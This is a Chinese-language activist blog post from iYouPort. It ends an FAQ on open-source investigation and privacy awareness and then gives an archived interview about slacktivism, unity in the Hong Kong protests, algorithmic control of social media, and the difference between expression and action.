很明显，对“退一步”的方案 即开源调查的围堵，已经开始了。但并没有绝望，只是意味着开源调查研究者需要钻研更多挖掘数据的技巧。我们会随时提供这些工具和想法。 #OSINT 标签下可以找到曾经的文章。博客更全，这里：https://medium.com/@iyouport

然而对我们来说，最糟糕的并不是当权者的围堵，而是民间思考方式的严重落后。就如前文问题 1 中的解释，人们一直跑在当权者的后面，以至于只有当禁令下达，才能意识到被禁止的内容有多么高的可用价值。却为时已晚。更遗憾的是，即便中国的禁令已经存在了多年，依旧有很多人没能意识到开源调查的强大。

还是那句话，我们能宣传“打开中国”，但打不开中国社会的认知“气泡”，目前能想到的最有效的办法是：采取能让人们感兴趣的解释；成功案例的演示和推荐；以及，坚持不懈的耐力。

— — 人们为什么“不感兴趣”？ — —

Q 9: 你觉得人们为什么看起来对隐私保护的话题不感兴趣？你认为改进的方法是什么？

A：为数不少的人并没有对隐私保护不感兴趣，而是对保护性技术“不感兴趣”，由于它们看起来太复杂了，不在此专业内的人很难操作。技术人士一直在追赶当权者的审查封锁进度，以提供相应的保护措施，但难以做到“一键使用”那种便捷。需要受益人至少具备一定的基础。

宣传保护性措施有多么的重要这件事本身就很难。首先需要解释我们所有人面临的局面，然后这种局面是怎么来的，我们还有什么办法能够摆脱它，这些办法的原理是什么，等等。这其中显然会充斥着各种专业名词。曾经有多位中国知识分子（不是 IT 技术领域的学者）告诉我们：“读不下去”。

俗话说 difference in profession makes one feel worlds apart（隔行如隔山？）看起来是很有道理的，然而如今这个世界是数字驱动的，数字极权是所有人共同面对的灾难，如果我们不能掌握基本的自我保护技术，甚至不能理解介绍这些技术的文字，隐私这项基本人权将真的变成极少数技术精英的特权。（在这里看到详细解释）

而且，隐私灾难没有身体精神的损伤那么直观，比如一辆大卡车飞驰而来，你立刻就会跑开，因为你不需要思考就能意识到鲜血淋漓的场面。隐私就不同，人们会能感受到隐私被入侵的危险，但长期无法反抗且无迫在眉睫的“致命”的创伤后果，很快就会趋向习以为常。人类的自我开解能力非常强大，就如即便生活在威权国家，也有很多人觉得自己是“幸福的”，他们似乎不需要尊严、不需要人权，这些东西“不能当饭吃”……

这也不是中国的特殊性。全球很多国家的隐私意识都没有强大到隐私的属性 — 即 基本人权 — 的层面。人们需要一些“激励”，一些强大的威胁性的触发事件，比如棱镜计划的曝光，从而认识到“我们一直在面临什么”。但是显然，你无法期待蜂拥而来的斯诺登。鉴于此后当权者对举报人的严重打压，以及对内部知情人的监视力度和监视技术的快速提升，斯诺登几乎是绝唱。

这就是为什么斯诺登的勇气应该被民间发挥更大的作用。公民应该更加充分地利用这些被曝光的内幕，实施切实的保护措施。

这些道理需要不断被宣讲，需要更多支持者加入宣讲的阵营。我们喜欢巴西公民组织 Coding Rights 的想法，即 用生动有趣的讲解办法，吸引更多原本对技术不感兴趣的人的兴趣 — — 作为一种桥梁，将隐私和监控的专业性语话转变为大众日常的实践。

技术问题是横向的，并且与当今几乎所有的社会运动（环境、性别平等、反歧视、反威权、自由民主）均有关。宣讲者应该将理论落在实处。

— — 工具箱 — —

Q 10: 为什么你们发文的速度很慢？

A：我们还在准备降低发稿速度。目前是每周5 ~ 7篇，降至每周四篇（极具情报价值的突发新闻除外）。看起来的确和互联网的快餐文化相悖，但这也正是我们的设计。

快餐文化非常强悍，人们已经习惯了阅后（在脑中）即焚，即便能留下深刻印象也只是一个标题 — — 试试看，不要搜索马上复述巴拿马文件的关键部分内容？想必很多人都做不到。而我们提供的内容是需要被实践的，它是一个工具箱、菜谱、教程，部分内容有必要被慢慢消化。

互联网气泡同样非常强悍。我们已经发现，即便处于强连接关系中（即互相关注），依旧存在不少朋友不了解我们曾经多次重申的知识，（现实中也一样，我们的一位编辑的铁哥们儿从未看过我们的博客）。这些都不奇怪。人们的不同社交被保持在某些不同领域上，如果其中不包括对技术型反抗的兴趣，传播将很难实现。

尤其是，集中化社交网络的不透明算法问题，它会依据某些用户不了解的规则降低某些内容的可见度，并且，即便是双向关注，如果你长

期不为某些账号回复、转发或者点赞，那些账号将消失在你的 TL 上 —— 基于那个“你可能最喜欢的内容”的算法，这些数字巨头在强行定制人们的认知。

更有，人们喜欢凭借「140字的按语来判断“链接中的内容”。传播者经常能收到令人困惑的回复，它们的答案其实就在链接中，显然提问者并没有阅读原文。社交网络发布文章是非常低调的，链接点击率极低，人们甚至无法忍受一两秒钟的跳转。这也是快餐文化效应的一部分。而我们的文章中基本没有多余的话，于是很难通过简短的概述帮助领略全文。

这些是所有做知识推广的人很难绕过的障碍。我们的方法只能是反复介绍，通过一篇文章不同的侧面（包括其可能的使用方法）以引起读者的兴趣。如前文所述，我们不追求更大的覆盖面，只要有少数读者能使用这些工具做正确的事，我们将非常欣慰。

—— “得一知己足矣” ——

Q 11: 我跟了很久了，感觉你们的进度很快，从知识到策略到技术，我觉得这个速度恐怕很多人跟不上。并且，网上人们的阅读都是碎片的，很少有人能把一个平台的想法连贯起来考虑，人们不会记得“上一篇”文章是什么，和下一篇有什么联系。而你们的设计显然是连贯的。就像我这样从泡泡一直跟到这里的读者也是花了很长时间才弄明白这些想法之间的相关性。我的意思是，如果不能被更多人理解，显然是一种资源浪费。你们有没有考虑过这个问题？

A：非常感谢您一直以来的关注，以及您敏锐的洞察力。是的，我们的文章有一个连贯的思路，我们经常会通过“延伸阅读”附加链接以便将不同文章连接起来。

博客毕竟不是一本书，能够采取明确的连贯的思路铺展，我们将来也许会做电子书，但目前已经很满足了，毕竟有您这样的读者能理解我们的想法。俗话说“得一知己足矣”，更何况我们迎接到很多热心的读者、志愿者和支持者，这是莫大的荣幸。不存在浪费。

广大读者也带给我们很多知识补充，非常令人兴奋。在此深表感谢！

公民社会可以是无形的、无中心的协作，我们正在尝试的是一个匿名的社区，大家共享各自的优势，将智慧集中起来，为了我们共同的目的 —— 我们的公民权和民主实践。希望大家能尽快作出成绩，期待未来更好。■

感谢帮助 ***iYouPort*** ! ***PayPal***

捐助渠道已开通 "//https://paypal.me/iyouport//"

原文

“成为你想要在这个世界上看到的改变”：与IYP下午茶 - iyouport

这里是IYP的口袋知识-小册子和电子书

【2019年12月26日存档】

很高兴与IYP会面，尤其是能交谈到一些我们大家都感兴趣的问题。比如香港，比如直接行动的思考方式，比如透明度革命……等等，还有 **IYP** 自己的心里话。

这次会面的时间是今年**8**月，现在我们终于有机会将它翻译成中文，因为我们觉得这次访谈中涉及到的内容，中文读者值得了解。

本文的标题是一张保险杠贴纸，IYP 就开着这么一辆80年代的老爷车 —— 顶着这个庸俗的贴纸 —— 来到这里。说实话一开始我想笑。

我的名字缩写是 MR，以下我和IYP之间的对话（略去了理论性的和专业性的无聊内容）。

—— 以下是访谈的主要部分——

「图」

MR：“成为你想要在这个世界上看到的改变” —— 每个人都知道这是甘地的名言。简洁而有力。

就如很多名言一样，很适合做成保险杠贴纸。你也这样觉得是吧？

IYP：的确如此。这些字很容易和大众内心的某些东西产生共鸣，就如冷读（Cold reading）的逻辑，它似乎在暗示某些真实而有价值的东西。

但是，就像今天你能看到的许多其他简洁的名言贴纸一样，那些话从来不是它们声称的人所说的。

甘地实际上是这样说的：

> “如果我们能改变自己，那么世界的趋势也会随着发生变化。当一个人改变自己的本性时，世界也会随之趋向他。”

MR：啊哦，这比上面那个普及版本更具对抗性，不是吗？改变我自己的本性？

我还以为我们谈论的是那种简单轻松的事，比如不穿皮草、素食主义、或购买公平贸易咖啡豆 ……

IYP：这就是今天“你希望在世界上看到的改变”的最大众化解释方式。

这句话已经在我们的社会中如此普遍地反刍，它现在已经变成了陈词滥调，几乎没有意义，你在跳骚市场的廉价钥匙链上也能看到的东西；没有人再去仔细阅读它，但是大多数人都在假设自己已经理解，因为你之前已经看过很多次了。

如果想要真正去思考它，大多数人会说这意味着要“做出”你想要看到的世界变化。比如，如果你不喜欢工厂化养殖，那就成为素食主义者；如果你不喜欢贫困，就去在汤厨房做志愿者，等等。

但这不是甘地所说的。这与甘地原来的说法完全不同。它甚至不是后来简化的保险杠贴纸版本所说的。

你真的应该再看一下这个被广泛引用的推广版本，真的，用新鲜的眼光去看它，排除它被企业自由主义者轻率反刍并贴在 K-Mart 产品上的商业化部分 —— 你就会能得到与原版相同的信息。

它没有说“做你想要在世界上看到的改变”；它也没有说“宣布你想要在世界上看到的改变”。

它说的是：“成为，你想要在世界上看到的改变”。

它并不仅仅指的是行为或生活方式的改变，而是改变你作为一个人的身份。它说的是通过改变自己的本性来改变世界。

MR：嗯，这的确不同于传统的解释。

IYP：对引语的传统解释存在于一种无聊的陈词滥调中，人们会嘲笑

它的过度使用，就像你刚才看到我的车时的表情。然而每个人都会结合自己的经验去理解这些话，最终得出各自完全不同的答案。

MR：我们可以稍后再考虑这个问题？我今天带来了一大堆问题，甘地可不在计划内。

IYP：好的。

“记住：目标始终是要让异议思想成为主流”

「图」

MR：我很喜欢你们的《在社交媒体上”抗议”有什么问题？》，但是我觉得它没有说完全部。你觉得呢？

IYP：是这样。至少它说明白了两个关键部分之一。

而另一个关键—缺失的部分—也许就是你感觉到的东西：即 社交媒体促进的是自慰，而不是革命。

令人惊讶的是，有太多的人将自慰与革命政治活动混为一谈了。

我们已经谈论了很多关于如何通过忽略他们的言语、并观察他们的行为来辨别特定的政治家、富豪或官员的真实意图的原则，但要知道，这个原则可以平等地适用于每一个人。

如果你忽略掉人们所说的话，忽略掉那些在革命思想的圈子中分享的不同意见，反过来，观察他们的行为，你就会产生这样的印象：即 他们中的大多数人实际上只是对戏剧性、冲突、社交攀爬感兴趣，追求的只是社交媒体上的赞誉、转发和评分。

MR：他们想要的只是从他们自己的小部落圈子里获得支持和支配权，就像人类的祖先所追求的圈地统治那样。

IYP：是的，这是最原始的、和难以改变的冲动。

大多数人都在专注于以某种方式维持现有的小圈子，这是上述冲动的首要动机，这点上任何其它团体中的任何人都没有什么不同。

在社交网络上，再一次，没有国籍、语言、性别、代际、阶层，等等任何区别。没有，所有团体都是如此。

显然，让一个人的自我骚动起来并不是政治激进主义的真正目的。

MR：“我永远正确”。人们能在社交网络上看到的东西大抵都是如此。

不论任何热点，不论有多激烈，即使评论的主题是行动者，也是如此；就如一场戏，所有人都在抢戏，而不是给予帮助。

厌恶这种生态的人会因此远离。结果就是，剩下的几乎所有都是这场“戏”中的角色和道具。没有观众。

还有一些人花大把的时间去宣传哪些想法是最正确的、谁在他们的圈子中拥有最纯粹的意识形态。然后去抨击那些“不够 hardcore”的人。

就如你们曾经批评过的，《无用的觉醒》。

IYP：如果能有真正的辩论依旧是好的，但现在并没有。

人们会花时间写那些干巴巴的散文，而且几乎没有人读到过与其他文章的辩论，几乎没有人会读到在一个特定的政治意识形态子域中看待这个或那个模糊的应变的正确方法。

致力于这种活动的持不同政见者经常发现自己被隔离在一个微小的回音室里，只有极少数人分享他们的确切世界观，他们只能在这个小范围内自我安慰，这样的确不必为完全缺乏有意义的影响而感到烦恼了。

争论关于“什么是最正确”的意识形态立场的具体细节可能是有价值的，但充其量只是在打磨你的剑，而不是使用它去干点什么。

最好的效应也许是磨练出一点有效的激进主义能力，但这种自慰式的表达本身就是无用的—— 既不是激进主义也不是有效的。

这本身就不是政治活动的真正目的。

显然，行动主义的目的是要做出真正的改变。当然，每个人都可以就此达成一致。

然而，如果你仔细看看这些圈子里的人们每天和每时每刻倾注了大部分精神能量的东西都是些什么，你就会发现，实际上很少有人能推动真正的改变。

在这种状况下，人们的大部分能量都是在我刚刚提到的那种无能为力的小自我封闭的漩涡中迸发出来的。

如果你想投入精力去做出真正的改变，并且你想确保你的能量尽可能高效和实用，那么，你就可以轻松找到让你凝视的目标。

⚠现在人们普遍缺乏的是行动主义的思路，而不是勇气、技能或者其他任何东西。

这也许是我们唯一无法提供的帮助。思路是个人的，就像欲望，是欲望在引导人们去寻求并发现那些能满足欲望的东西。

没有欲望就没有一切。

行动主义不能一直边缘化着，它应该成为主流；不论是专制国家还是民主国家。

MR：我同意，但是必须说，“主流” 已经变成了纯粹的贬义词；任何反主流的行动都是革命性的，你一定支持这点。于是我不是很理解您认为的“让异议成为主流”的意思。

IYP：宣传引擎所做的一切都是在致力于将反体制的任何想法置于边缘地位，无论是通过谷歌算法隐藏替代媒体的内容并推动主流媒体、将持不同政见者抹黑为“被外国势力驱动”或者“别有用心”，还是仅仅将愈加糟糕的现状描绘为“新常态” ……其目的都是想要使任何偏离看起来都很危险和怪异。

统治者清楚地知道，⚠维持现状就需要让“主流羊群”对异议观念完全免疫，因为大部分公众都可以利用其绝对的庞大基数之优势去推翻统治机器，并将人类转向健康的循环。

不幸的是，就连异议圈子内部也在复制这一操作，少数服从多数、外围服从中心的操作。

所以我们都应该从根本上意识到这一点。

如果我们都留在自己的小圈子里，分享我们自己的小小想法，无论这些想法有多么酷和多么的特别、多么地令我们自己感觉兴奋，现状都不会受到任何影响，更不用说改变。

这正是统治者希望你做的事。

如果你留在这个边缘化的小圈子里，你也许会比其他人感觉更好；身边的其他朋友会给予你很多赞誉；

但是，朝周围看看吧，就在这个令你无比兴奋的小领地周围，寡头们已经构建了坚固的奥威尔式牢笼。

MR：这就是为什么你说 IYP “没有核心团队”？

IYP：是的，IYP没有核心团队；所有认同直接行动的朋友都是“核心”、所有擅长使用我们介绍过的工具的朋友都是“核心”、所有希望成就公民事业的朋友都是“核心”。

MR：那么你认为如何才能改变上述情况？

IYP：“我能做些什么才能让某种异议思考方式成为主流注意力？”—— 保持对这一问题思考将至少可以缓解和阻止这种情况的发生。

它可以使所有组织、动员、行动、社交媒体发布和信息共享，都集中在这场斗争中真正重要的事情上，而不是陷入无意义的花边节目中（比如你说的“抢戏”）。

⚠真正重要的事情。这也是在香港行动相关的整个中文舆论场中缺失的东西。极大的遗憾。

对这个问题的思考将确保你总是以有效的方式而不是无能为力的方式消耗你的精力。

你说的没错。许多具有革命意识的类型都能对主流化具有强烈的自我抵制能力。

这样它们可以在冷酷的反文化形象中建立了强烈的认同感。当人们开始出现在他们紧密的小回声室外的任何地方时，你就能看到这样的情况，他们会出现强烈的反射性地对环境的抵制。

为什么？

仅仅是因为他们潜意识地认识到，如果他们的不同政见者价值观一旦成为主流，他们自己将不再是前卫的和反文化的。他们那些很酷的自我形象将被毁掉。

这非常愚蠢。除了你的自负感觉之外没有其他支撑力。

但是，正是出于这个原因，许多活动家才有了这种“自我防御机制”。

还有些人也错误地认为一个想法是“坏的”只是因为它已成为了主流。

当然，考虑到主流领域一直在受到严格的控制—— 这在任何国家都一样—— 上述并不总是一个完全不健康的假设；

但请记住，随着革命活动变得越来越有效，我们必然会开始看到更多健康的想法出现在“主流”领域。把它作为未来的好兆头吧。

炫酷的革命自我形象已经过时了。

站在公共广场，尽可能多地将革命性的想法推向公众的聚光灯下。

这样做即使它意味着你曾经花时间反对的人也开始捡起并使用这些想法；始终要记得，这样做的目的是让您健康的反体制思想成为整个社会的常态。

如果你不打算这样做，那只能是美化自慰。并且还有更多节能的方法可以实现同样的目的。

“谁是自己人”

「图」

MR：好吧，这个话题可能是老话题，关于联合。你们经常强调联合，但是互联网时代这似乎已经变成了一个难题。

IYP：近年来人们说起过很多关于为什么联合很难的思考，IYP 也说起过；但大家都忽略了一个也许是关键的部分，这个部分今年在香港的行动中再次被突出出来了。

在欧洲，我们经常说自己是欧洲人，而不是哪个国家的人；当瑞典15岁的活动家动员全欧洲的活动家参与到环保抗议中来的时候，人们说“我们是地球人，我们比那些政客更年轻，所以最终是我们来承受这个星球未来发生的一切”，所以，“我们现在联合起来是为了自己的未来”。

但是在香港的行动中，我们听到的是“香港人” vs “中国人/大陆人”的说法；这种细分在我眼里会感觉很困惑。

也许全球华语人群都理解这个概念：自己人/外人；自己人是理应站

在一起的、并保持行动的一致，外人则负责看热闹和评论，或许怜悯，或许谴责，但没有义务站在一起。

当人们把那些被警察殴打和催泪弹喷射的勇士们称为“香港人”的时候，实际上已经将“自己”变成了“外人”。

对于我来说，这应该不是出乎意料的。我至今还记得在天津大爆炸事件后的抗议活动中，舆论将抗议者称为“那些中产阶级”。

这个话题里无关阶级、无关所谓的主权，甚至无关语言（简体字还是正体字），我们想说的是：谁是自己人。因为只有自己人才有义务站在一起。

如今全世界都知道匿名者组织：只要你加入行动、遵守规则，你就是匿名者组织成员；无所谓你使用什么语种，无所谓你住在哪里，无所谓你的阶层、年龄、性别、种族、有多少钱…… 你是“自己人”。

联合不是人们想象中那么难，只需要一个共同目标。

很高兴香港的活动家能理解这个道理，如下：

MR：well said! 罗先生的确是优秀的活动家。现在只剩下响应了。

可惜我能看到的所有相关舆论都是在吐槽，roasted/ ranted；甚至将怨气发泄在彼此身上 —— 那些与自己观点不相符的人变成了矛头指向。这就忽略了真正的对手。

IYP：这很糟糕。

人们之所以沉迷于吐槽，是因为缺乏成功的信心。

MR：如何增强信心？

IYP：信心将来自于自身的能力、技巧和经验，关于 “我们有希望获胜” 的底气。**IYP**所提供的正是这些。

运动的胜算在于筹码 —— 活动家和他们的对手谁先抢到最大筹码，谁就能占据上风。

我们的社区分享了一份倡议，关于 “如何帮助香港抗议者”。这份倡议被翻译为多种语言，包括英语、葡萄牙语、意大利语、西班牙语、法语、德语、以及中文正体字。其中呼吁了台湾、美国、加拿大、英

国、欧盟的公民和居民如何行动；但正如你知道的，即便这些呼吁完全落到实处，也不是最大筹码。

最遗憾的是，在整场运动过程中几乎所有围观者都在主动躲避那个最大的筹码，除了罗先生之外；虽然他没能说清楚。当然，在280个字符中说清楚这件事并不容易，但所有使用中文的围观者都应该明白，香港的追求不仅仅是香港的追求，而是全球华人抵制暴政的共同追求，尤其是中国大陆。只有实现了后者，前者才有希望。如果实现不了后者，前者的所有 “成效” 都是暂时的。

目前为止还没有足够多的思考以形成这个最大筹码，所以我们认为，这是运动，还不是革命。

MR：在中国，很多人在期待国际舆论成为“筹码”。

IYP：这不奇怪，在很多国家都存在，尤其是小国。不幸的是国际关注有可能并非“筹码”。想想 Jamal Khashoggi？他可是美国政府代言人“华盛顿邮报”的专栏作家，直到现在他的完整尸体都没有找到；他的朋友一直在努力起诉 NSO，至今无果。

请注意这正是在全球聚焦的大背景下。我不觉得近年来有任何聚焦的水平能超过 Jamal Khashoggi。

而就在他被残害之后，MBS依旧大模大样地参加G20峰会；而失望的人们转而关注“谁有或没有”和MBS公开握手，包括国际上最大牌的人权组织…… 仅此而已。

以色列臭名昭著的NSO还获得了美国寡头和主流媒体的协助，以“扭转其声誉”；美国著名公关公司为NSO打宣传战。

谷歌、 CBS 新闻和 SKDKnickerbocker 不知道NSO做了什么？不可能；但他们依旧在帮助这家以色列最大的间谍软件供应商做宣传——以他们庞大的全球影响力为助力。

国际舆论的作用？也许有，但肯定不是胜算的最关键条件。

别依赖那些你无法掌控的东西。*13/08/2019* 第一次提示

*11*月*25*日 – 关于最大筹码

*12*月*21*日 – 可以清楚地看出他们最怕什么，即 证实了最大筹码是什么

最近上映的一部电影，其中有一句台词 “羊只要平平安安的有草吃，不会在意谁在它们身上薅羊毛的”。也许可以解释为什么最大筹码无从实现 …… 甚至可以解释很多其他东西

MR：也许是一种习惯的养成？最初人们可能会怀疑某些观点，但当这些观点不断被重读时人们会进入见怪不怪的状态。

IYP：是这样。我还能记得多年前在中文网络上看到过对“51放假日”的质疑—— 人们将五一节理解为悠闲的放假日，而不是劳动者的抵抗纪念日，似乎忘记了国际劳动节的另一个名字：“国际示威游行日”。

但后来，这类质疑便找不到了，似乎更多人沉迷于假期、购物和旅行。

你看，谁说当局的宣传是无效的？

MR：这是一个古老的规则：当大多数人认可A时，A就是现实。

IYP：这句话还可以升级一下：当你生活的小圈子内大多数人都认可A时，A就是现实。

MR：我想起寡头的磁性。也是同样的道理。

IYP：差不多。

和美国的朋友讨论社交媒体的问题，他们提到 Substack 和 Revue，据说这样的初创公司已经“越来越多”，帮助人们远离集中化社交媒体的嘈杂和滋扰。

看起来摆脱手机成瘾和定位追踪的问题在美国的需求比我想象的要更多。

中国有这方面需求吗？中国有多少用户厌恶社交媒体，同时钟情于RSS和邮件组等订阅阅读模式？

MR：肯定有。但不会很多。

中国有一种激励措施，就是粉丝量经济的货币化，这是维持巨头运营的一个关键推动力。

IYP：其实不需要中国复制这个思路，如果中国用户可以使用

Substack 无障碍的话，这一文化就会流动起来。

当然这也是一种复区域化的表现，相当于拆解了联合性。

我就是在考虑复区域化的问题。

因为美国有强大的社区力量（虽然近年来出现弱化），而中国没有，比如计划动员和联合的情况下，美国可以直接沟通社区 —— 在现实中而不是 Facebook，而中国很少有这样的成熟的社区，于是社交媒体对中国社会的联合和动员来说是一种理论上的捷径。好吧，又绕回了上一个问题的悖论。

其实 Substack 的想法很简单，就是恢复互联网本来的最原始的邮件 newsletters，没有广告，没有跟踪，没有 trolls，没有垃圾信息。

MR：newsletters 是很好的，而且对思想市场来说是非常必要的。

IYP：美国的 Substack 是在考虑将人们拉出集中化的社交媒体。

但是我提到 newsletters 终结了广泛的联合，对方则表示，凝聚力不足的社会，即便在集中化社交媒体上也是难以实现广泛联合的。

他是对的，这是中国的一个关键问题—— 中国社会并没有通过社交媒体实现广泛联合。

对方还提到，“我们可以反过来思考这个问题”，关于集中化社交媒体的最大吸引力是什么，也就是它们在用什么留住人们的注意力。

⚠分析认为主要是自我表现欲，而不是联合。

这是社交媒体具有普遍性的问题。但是在中国，它还有确确实实的真金白银，就如你提到的，粉丝经济的货币化，从广告费到打赏。于是我暂时会谨慎认同这一方法在中国的可行性。孵化器 Expa 很乐观，认为这是“趋势”。

这不是创意性思路，而是一种愤世嫉俗的回归，回到互联网最初的样子。

如果它真的可以如 Expa 认为的那样成为趋势，我感觉带动中国是有可能的。

MR：下一个问题就是，我们如何找到彼此。

IYP：是的。

上图：【微信公号里的中国·*2019*年*8*月】*88.5*万微信公众号，原创*10w*＋文章*7701*篇，日均原创*10w*＋仅*248.4*篇。最少的一天，全网仅产出*195*篇原创*10w*＋。所有*10*万＋文章，转载自「环球网」的*97*篇。其中*58*篇出自「环球时报」。

上图：【*2019*年*12*月】有中文用户评论称 “这显示了中国网民的阅读趣味” …… 不，这与中国网民没什么关系，而是算法 —— 您应该从中看到的是操控算法的人希望大众持有怎样的认知、以及注意力保持在什么位置上。

MR：我听到过很多批评中国社会的观点，如果把它们综合起来简直惨不忍睹；从无法联合到不懂运动、从不重视隐私到小粉红泛滥……但事实是什么？真的是这样吗？

IYP：我们认为肯定不是。

简单举一个例子，我的亲历。

曾经我们需要测试一个技术角度值得信任的VPN在中国的使用效果，我寻找了多位中国用户帮助测试。所有这些中国用户的共同点是：都立刻要求通过加密邮箱联系我，而不在微信多说任何一个字。这非常令我兴奋。

无疑，至少我联系的这些中国朋友都明白微信的不安全，并且知道，某些话题需要通过安全的渠道进行交流，以及安全渠道的是什么。

当你听到“使用微信的人都是***（贬义词）”的时候，你会知道那是偏见。

但是，我第一次联系这些朋友，只能使用微信。因为微信是中国用户最密集的平台。

这意味着绝非所有中国用户都不了解微信监控，也并非不注重安全 ，很可能与我一样：离开微信他们很难找到联系人。

改变生态不是一朝一夕能做到的，因为生态本身不是一朝一夕形成的。改变的基本在于，我们应该看到希望，并守护希望。

我身边的一些朋友经常评价IYP支持的开源情报调查技术 “在中文网络上绝无仅有”，这一评价肯定会让我感觉很舒适，但是它不是事实。

的确，开源情报社区中几乎看不到中文，亚洲方面包括日语和马来语体系的调查人员。但这并不意味着“IYP是绝无仅有的”。至少，我们的内容已经吸引到了*原本*就对开源情报社区有所了解的华语使用者，虽然不多，但绝对存在—— 而且是深度了解，并熟悉 Quiztime 如何是推特上最热门的互动游戏之一。

这是多么激动人心啊？

我也看到了人们对中国社会的很多批评，但我觉得其中大部分都并非某个民族国家的“独特性”。而是基本的人类特性，包括在媒介（比如互联网）影响下展示出的人的基本心理特征。

我的父母来自不同的民族国家，我的工作经历又跨越其他3个不同的民族国家，我觉得我可以告诉你，人们对中国社会的那些批评真的不具备独特性，自私、软弱、苟且、虚无 …… 这都并非任何一个民族国家的特征。

我承认，不同的生活经验的确会培养和促进人性中某些特征并抑制另一些，教育也会做到同样的事；但是如果你说某些特征是属于某个民族国家所特有的，我不会同意。我的经历显示了完全相反的答案。

作为推动进步、促进更好社会环境的倡导者，我们应该认识到，我们能给人们什么、能打消人们的哪些顾虑，将决定人们呈现给我们哪些人性特征。

不论如何，不要绝望，当局就是希望你绝望，让你看到大量的所谓小粉红和无知，让你找不到战友。我们不能上当。

⚠至少在互联网上，算法在控制你能看到什么，你看不到战友并不意味着战友不存在，请时刻记得我们所有人能看到什么、认识什么人的结果每时每刻都是被算法所操纵的。

不同的只是，不同的操纵者为的是各自不同的利益—微博的算法操纵者和 Twitter 的算法操纵者肯定不一样，就如谷歌的和百度的不一样。谷歌的算法压制独立媒体的声音，百度的算法屏蔽天安门广场的故事，这是不同的，虽然其性质本身没什么区别。

还是推荐这套简单的纪录片，它做的很好，能帮助您理解最基本的《算法暴政》。

同时，信息战也在起到同样的作用 —— 它们借助算法将垃圾和口水推到更多人的面前，掩盖一切有价值的内容。

几乎每个人都会认为自己的眼前是“天下”，在连续看到5个愚蠢的信息战机器后人们就会说“整个中文圈都是垃圾场”。

我们从5年前开始关注对推特中文圈如何愚蠢的讽刺和批评，因为这事关突破互联网封锁的行动动员；而如今，厌弃 Twitter 的中国人越来越多。算法鼓励口水和常识，更多将那些无聊的内容推向公众面前，让发布者获得影响力；而真正有价值的内容往往很难被看到。而在线声誉的吸引力诱使人们遵从算法的操纵，更多去创建那些无聊的内容。这就是为什么我们要警告《异议的消亡》。不，这不是墙的问题，也不是推特的问题，更不是“中文圈”的独特性

并且，如你所见，知识的传播也并非想象中那么容易；显然，人们只会优先关注自己在乎的东西，*自己在乎*的才是最好的，对吧。

我们这些倡导者要做的就是让人们自己体验到它的重要性，而非由我们来介绍。这就是为什么IYP采取激进的方法，用演示追踪攻击来提醒安全防御。

这需要长期的勇敢的尝试并总结经验。

MR：的确如此。我是 #deleteFacebook 狂人，而我的妻子是 Facebook 狂人，在她眼中 onion 不是一个域名，而是夹在汉堡里的球茎植物。

对于我来说，每一位具备基本价值并能够做到吸引读者的内容创建者，都是值得钦佩的。

IYP：我们一直在学习，通过尝试学习；当然也一直在出错，一直在发现哪些内容无法被更广泛的读者所关注。

自从开启行动主义策略推荐的系列内容后我们发现，这一系列的流量极低，是所有内容中最低的（在这个链接中看到行动主义技巧系列的完整列表）。

于是我们决定明年开始可能会暂停相关内容的更新。直到，我们能发现它确实可以在中国引起足够的关注。

是暂停，而非终止。

我们始终认为这些内容很重要，没有其他中文平台详细介绍过行动主义的具体策略；但是，如果关注度太低，那意味着这些策略可能在中国本地无法实践。

由于关注者过低而无法实践，是暂停更新的理由，而非我们自己的流量。

但我们的尝试不会停止，直到尝试出可以促进实践的表述方式。

我们只能也必须按照 *必要性* 而非“注意力”去设计内容，我们需要提供对于构建民主社会和追求民主体制所必需的知识和技能，这些知识和技能是当下中文媒介最为欠缺的。IYP 致力于补充这一欠缺。

显然，这样的追求是尤其不会获得显要流量的—— 因为这些内容原本不在人们的既有认知中，它们是深度的、新视角的和前瞻的。这就是为什么对于流量，我们一直有很低的心理预期。

事实上在整个互联网上都是如此，不论任何语种。比如开源情报社区，也只有那些格外漂亮的调查演示、并且还需要具备高度的时效性，才能获得大量的关注；但试图教会大家如何进行这些漂亮的调查的工具类内容，几乎无人关注。

简单说，人们想看你去做，而不是学到那些方法自己去做。在香港抗议活动中、在透明度革命社区、在 De Correspondent 的全球行动者招募中 ……几乎每一个角落，你都能看到同样的事。再一次，它绝非哪个民族国家的特征。

所以，也许你可以教会你的妻子如何使用 Tor 登陆 Facebook，以缓解隐私威胁。你能做到，因为她是你的家人，她信任你。我们每个人都应该从身边人开始努力。

“表达者不考虑实用性”

「图」

MR：你们强调“行动与表达不同”，但在中国，很多人会认为“表达就是行动”。你能解释下为什么你们认为不同吗？

IYP：首先澄清，我们认为表达和行动都具有价值；只是它们意味着对于我们这些倡导者来说需要不同的接触方向。

举个最简单的例子，比如隐写术。就如你所知道的那样，这可以抵制几乎所有自动化的审查。

理论上我们可以在这样的语境下推荐隐写术：即 当一个在线群组讨论审查问题时、并对“发出的内容只有自己可见”而感觉困惑时。

这只是理论上。

但是，事实上。多次测试后的结论却是，对审查*表达*困惑的人并不关心隐写术 —— 或者说解决问题的方法；在上述情况下真正关心这一技术的人是目标行动的人。

曾经有中国读者为我们解释这件事：对于表达者来说，被审查瞄准的内容被视为“具有更高价值”，如果能轻松绕避审查，这份价值就会被“削弱”；或者简单说，表达者考虑的不是实用性。

这是个惊人的逻辑，但也不难理解。

IYP 显然不会令纯粹的表达者满意，我们注重的是解决问题的方案；我们推荐的技术不仅帮助更顺利无阻的表达，更为了顺利的行动。

“行动与表达不同”，这句话是关于权利倡导者对受压迫者的协助模式的思考，而非价值判断。

但这里显然还有一个问题。

如果90%是表达者，那么理论上我们推荐的自我保护技术（比如隐身/分身 等等），应该能得到更高的关注。但事实上也并非如此。

对于个人影响力大的—包括期待更大个人影响力的表达者来说，隐身/分身和化名的保护性技术无法提供给他们想要的那种*将在线影响力在现实中变现*的能力；

相反，是那些认为表达自由是纯粹的解放的人，才会对这类保护性技术更多关注。

此外，在交流方面也是有区别的。比如我们经常会听到异议人士这样说“团结要不得，恶意者才讲团结”，类似的观点。在讨论（辩论）的角度上似乎合理，也就是表达层面上；但是，在行动者听起来这是不可思议的，因为单枪匹马的行动注定无法成功。

行动中不分左中右翼、派系或社区，只分敌我，站在同一方向上的所有人都是自己人。只有这样的联合才能有抵抗力。

MR：这就是你们为什么不关注网络名人？因为他们只是纯粹的表达者为了促进个人名气并没有行动力？

IYP：准确说是，“网络名人”不关心我们（主张的实用性）。

任何内容提供者和倡导者如果声称不想要知名人士的协助推动，那都是在撒谎，这是由于互联网的传播模式 —— 关于你的内容能接触到多少受众。

